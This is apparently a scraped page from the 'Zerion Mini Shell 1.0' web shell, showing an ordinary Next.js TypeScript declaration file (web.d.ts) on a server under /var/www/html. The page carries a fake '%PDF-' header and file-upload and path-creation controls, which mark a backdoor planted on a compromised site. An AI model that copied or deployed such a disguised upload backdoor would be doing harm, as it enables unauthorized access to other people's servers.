%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/next/dist/server/base-http/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/next/dist/server/base-http/web.d.ts

/// <reference types="node" />
import type { IncomingHttpHeaders } from 'http';
import { BaseNextRequest, BaseNextResponse } from './index';
export declare class WebNextRequest extends BaseNextRequest<ReadableStream | null> {
    request: Request;
    headers: IncomingHttpHeaders;
    constructor(request: Request);
    parseBody(_limit: string | number): Promise<any>;
}
export declare class WebNextResponse extends BaseNextResponse<WritableStream> {
    transformStream: TransformStream<any, any>;
    private headers;
    private textBody;
    private _sent;
    private sendPromise;
    private sendResolve?;
    private response;
    statusCode: number | undefined;
    statusMessage: string | undefined;
    get sent(): boolean;
    constructor(transformStream?: TransformStream<any, any>);
    setHeader(name: string, value: string | string[]): this;
    getHeaderValues(name: string): string[] | undefined;
    getHeader(name: string): string | undefined;
    hasHeader(name: string): boolean;
    appendHeader(name: string, value: string): this;
    body(value: string): this;
    send(): void;
    toResponse(): Promise<Response>;
}

Zerion Mini Shell 1.0